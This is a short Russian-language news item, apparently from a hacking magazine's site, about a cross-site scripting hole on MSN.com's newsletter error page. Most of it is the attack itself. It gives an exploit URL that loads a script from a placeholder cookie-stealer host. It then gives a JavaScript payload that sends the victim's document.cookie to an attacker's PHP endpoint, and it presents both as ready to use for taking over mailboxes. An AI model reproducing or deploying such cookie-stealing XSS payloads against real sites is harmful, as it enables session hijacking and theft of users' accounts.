CSS уязвимость на сайте MSN.com

Рекомендуем почитать:

Xakep #304. IP-камеры на пентестах

• Содержание выпуска
• Подписка на «Хакер»-60%

CSS уязвимость обнаружена на сайте MSN.com.
Нападающий может получить доступ к
почтовому ящику пользователя.

Пример:

http://newsletters.msn.com/hm/HMError.asp?CB=http://yourcookiestealer/stealer.js

В качестве скрипта можно использовать
например такой:

i=new/**/Image();i.src=http://his_stealer/s.php?cookie=+document.cookie;